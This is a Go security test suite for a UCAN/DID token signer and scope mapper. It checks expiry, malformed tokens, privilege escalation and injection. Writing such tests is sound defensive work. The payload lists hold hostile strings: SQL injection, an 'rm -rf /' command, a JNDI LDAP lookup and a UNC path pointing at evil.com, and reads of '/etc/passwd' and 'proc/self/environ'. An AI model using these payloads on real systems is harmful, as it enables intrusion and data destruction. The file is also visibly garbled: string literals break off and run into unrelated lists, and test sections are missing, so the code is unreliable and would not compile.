package integration
import (
"context"
"crypto/ed25519"
"crypto/rand"
"encoding/base64"
"fmt"
"strings"
"testing"
"time"
"github.com/stretchr/testify/suite"
"github.com/sonr-io/sonr/bridge/handlers"
"github.com/sonr-io/sonr/crypto/ucan"
"github.com/sonr-io/sonr/x/did/types"
)
// securityMockDIDKeeper implements DIDKeeperInterface for security testing
type securityMockDIDKeeper struct {
didDocuments map[string]*types.DIDDocument
}
func (m *securityMockDIDKeeper) GetDIDDocument(ctx context.Context, did string) (*types.DIDDocument, error) {
if doc, ok := m.didDocuments[did]; ok {
return doc, nil
}
return nil, fmt.Errorf("DID document not found: %s", did)
}
func (m *securityMockDIDKeeper) GetVerificationMethod(ctx context.Context, did string, methodID string) (*types.VerificationMethod, error) {
doc, err := m.GetDIDDocument(ctx, did)
if err != nil {
return nil, err
}
for _, vm := range doc.VerificationMethod {
if vm.Id == methodID {
return vm, nil
}
}
return nil, fmt.Errorf("verification method not found")
}
// SecurityAuditTestSuite conducts comprehensive security validation
type SecurityAuditTestSuite struct {
suite.Suite
signer *handlers.BlockchainUCANSigner
delegator *handlers.UCANDelegator
scopeMapper *handlers.ScopeMapper
mockKeeper *securityMockDIDKeeper
testUserDID string
testClientDID string
maliciousDID string
}
func (suite *SecurityAuditTestSuite) SetupSuite() {
// Create test keys
userPubKey, _, _ := ed25519.GenerateKey(rand.Reader)
clientPubKey, _, _ := ed25519.GenerateKey(rand.Reader)
maliciousPubKey, _, _ := ed25519.GenerateKey(rand.Reader)
// Setup mock DID keeper with test documents
suite.mockKeeper = &securityMockDIDKeeper{
didDocuments: map[string]*types.DIDDocument{
"did:sonr:security-user": {
Id: "did:sonr:security-user",
VerificationMethod: []*types.VerificationMethod{
{
Id: "did:sonr:security-user#keys-1",
Controller: "did:sonr:security-user",
VerificationMethodKind: "Ed25519VerificationKey2020",
PublicKeyMultibase: base64.StdEncoding.EncodeToString(userPubKey),
},
},
},
"did:sonr:security-client": {
Id: "did:sonr:security-client",
VerificationMethod: []*types.VerificationMethod{
{
Id: "did:sonr:security-client#keys-1",
Controller: "did:sonr:security-client",
VerificationMethodKind: "Ed25519VerificationKey2020",
PublicKeyMultibase: base64.StdEncoding.EncodeToString(clientPubKey),
},
},
},
"did:sonr:malicious-actor": {
Id: "did:sonr:malicious-actor",
VerificationMethod: []*types.VerificationMethod{
{
Id: "did:sonr:malicious-actor#keys-1",
Controller: "did:sonr:malicious-actor",
VerificationMethodKind: "Ed25519VerificationKey2020",
PublicKeyMultibase: base64.StdEncoding.EncodeToString(maliciousPubKey),
},
},
},
},
}
signer, _ := handlers.NewBlockchainUCANSigner(suite.mockKeeper, "did:sonr:oauth-provider")
suite.signer = signer
suite.delegator = handlers.NewUCANDelegator(signer)
suite.scopeMapper = handlers.NewScopeMapper()
suite.testUserDID = "did:sonr:security-user"
suite.testClientDID = "did:sonr:security-client"
suite.maliciousDID = "did:sonr:malicious-actor"
}
// TestTokenExpiration validates token expiration enforcement
func (suite *SecurityAuditTestSuite) TestTokenExpiration() {
// Test 1: Expired token rejection
expiredToken, err := suite.signer.CreateDelegationToken(
suite.testUserDID,
suite.testClientDID,
[]ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
},
},
nil,
-1*time.Hour, // Already expired
)
suite.Require().NoError(err)
_, err = suite.signer.VerifySignature(expiredToken)
suite.Error(err, "Expired token must be rejected")
suite.Contains(err.Error(), "expired", "Error should mention expiration")
// Test 2: Future not-before time
// Manually create token with future not-before
token := &ucan.Token{
Issuer: suite.testUserDID,
Audience: suite.testClientDID,
ExpiresAt: time.Now().Add(time.Hour).Unix(),
NotBefore: time.Now().Add(time.Hour).Unix(), // Valid in 1 hour
Attenuations: []ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
},
},
}
signedFutureToken, err := suite.signer.Sign(token)
suite.Require().NoError(err)
_, err = suite.signer.VerifySignature(signedFutureToken)
suite.Error(err, "Token with future not-before must be rejected")
// Test 3: Valid time window
validToken, err := suite.signer.CreateDelegationToken(
suite.testUserDID,
suite.testClientDID,
[]ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
},
},
nil,
time.Hour,
)
suite.Require().NoError(err)
_, err = suite.signer.VerifySignature(validToken)
suite.NoError(err, "Valid token within time window must be accepted")
}
// TestMalformedTokens validates rejection of malformed tokens
func (suite *SecurityAuditTestSuite) TestMalformedTokens() {
malformedTokens := []struct {
name string
token string
}{
{"Empty token", ""},
{"Not JWT format", "not-a-jwt-token"},
{"Incomplete JWT", "header."},
{"Invalid base64", "invalid.base64!.data"},
{"Missing signature", "header.payload."},
{"Extra segments", "header.payload.signature.extra"},
{"Null bytes", "header\x00.payload.signature"},
{"SQL injection attempt", "'; DROP TABLE tokens; --"},
{"XSS attempt", ""},
{"Buffer overflow attempt", strings.Repeat("A", 10000)},
}
for _, test := range malformedTokens {
suite.Run(test.name, func() {
_, err := suite.signer.VerifySignature(test.token)
suite.Error(err, "Malformed token '%s' must be rejected", test.name)
})
}
}
// TestPrivilegeEscalation validates prevention of privilege escalation
func (suite *SecurityAuditTestSuite) TestPrivilegeEscalation() {
// Create parent token with limited permissions
parentToken, err := suite.signer.CreateDelegationToken(
suite.testUserDID,
"did:sonr:intermediate",
[]ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"}, // Only read
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
},
},
nil,
time.Hour,
)
suite.Require().NoError(err)
// Attempt to escalate privileges in child token
escalatedToken, err := suite.signer.CreateDelegationToken(
"did:sonr:intermediate",
suite.maliciousDID,
[]ucan.Attenuation{
{
Capability: &ucan.MultiCapability{Actions: []string{"read", "write", "delete", "admin"}}, // Escalation!
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
},
},
[]ucan.Proof{ucan.Proof(parentToken)},
time.Hour,
)
suite.Require().NoError(err) // Token creation should succeed
// But delegation chain validation should fail
err = suite.signer.ValidateDelegationChain([]string{parentToken, escalatedToken})
suite.Error(err, "Privilege escalation must be detected and rejected")
suite.Contains(err.Error(), "attenuation", "Error should mention improper attenuation")
}
// TestScopeInjection validates prevention of scope injection attacks
func (suite *SecurityAuditTestSuite) TestScopeInjection() {
maliciousScopes := []string{
"vault:read; DROP TABLE users; --",
"vault:read' OR '1'='1",
"vault:read",
"vault:read\x00admin",
"vault:read\nvault:admin",
"vault:read\rvault:admin",
"vault:read\tvault:admin",
"vault:*; system('rm -rf /')",
"../../../etc/passwd:read",
"${jndi:ldap://evil.com/malicious}",
}
for _, maliciousScope := range maliciousScopes {
suite.Run("Scope injection: "+maliciousScope, func() {
// Attempt to validate malicious scope
err := suite.scopeMapper.ValidateScopes([]string{maliciousScope})
suite.Error(err, "Malicious scope must be rejected: %s", maliciousScope)
// Even if scope validation passes, mapping should be safe
resourceContext := map[string]string{"test": "value"}
attenuations := suite.scopeMapper.MapToUCAN(
[]string{maliciousScope},
suite.testUserDID,
suite.testClientDID,
resourceContext,
)
// Should either be empty or contain safe attenuations
for _, att := range attenuations {
actions := att.Capability.GetActions()
for _, action := range actions {
// Actions should not contain injection payloads
suite.NotContains(action, "DROP", "Action should not contain SQL injection")
suite.NotContains(action, "",
"\\\\evil.com\\share\\malware.exe",
"C:\\Windows\\System32\\cmd.exe",
"/dev/random",
"proc/self/environ",
"vault:test; rm -rf /",
}
for _, maliciousResource := range maliciousResources {
suite.Run("Resource injection: "+maliciousResource, func() {
resource := &handlers.SimpleResource{
Scheme: "vault",
Value: maliciousResource,
}
attenuation := ucan.Attenuation{
Capability: &ucan.SimpleCapability{Action: "read"},
Resource: resource,
}
token := &ucan.Token{
Issuer: suite.testUserDID,
Audience: suite.testClientDID,
ExpiresAt: time.Now().Add(time.Hour).Unix(),
Attenuations: []ucan.Attenuation{attenuation},
}
// Validation should reject dangerous resources
err := suite.delegator.ValidateDelegation(token, []string{"vault:read"})
// Should be safe - either rejected or sanitized
if err == nil {
// If accepted, verify resource is sanitized
suite.NotContains(resource.GetValue(), "..", "Resource should not contain path traversal")
suite.NotContains(resource.GetValue(), "",
"../../../etc/passwd",
"${jndi:ldap://evil.com}",
"\x00\x01\x02\x03", // Null and control bytes
strings.Repeat("A", 10000), // Very long input
"${env:PATH}",
"{{7*7}}",
"<%= 7*7 %>",
"#{7*7}",
}
for _, input := range dangerousInputs {
suite.Run("Input sanitization: "+input[:min(20, len(input))], func() {
// Test DID sanitization
token := &ucan.Token{
Issuer: input,
Audience: suite.testClientDID,
ExpiresAt: time.Now().Add(time.Hour).Unix(),
Attenuations: []ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
},
},
}
// Should either reject or sanitize safely
signedToken, err := suite.signer.Sign(token)
if err == nil {
// If signing succeeds, verify the DID is properly encoded
parsedToken, err := suite.signer.VerifySignature(signedToken)
if err == nil {
// Check that dangerous characters are not present in parsed token
suite.NotContains(parsedToken.Issuer, "DROP", "Parsed issuer should not contain SQL injection")
suite.NotContains(parsedToken.Issuer, "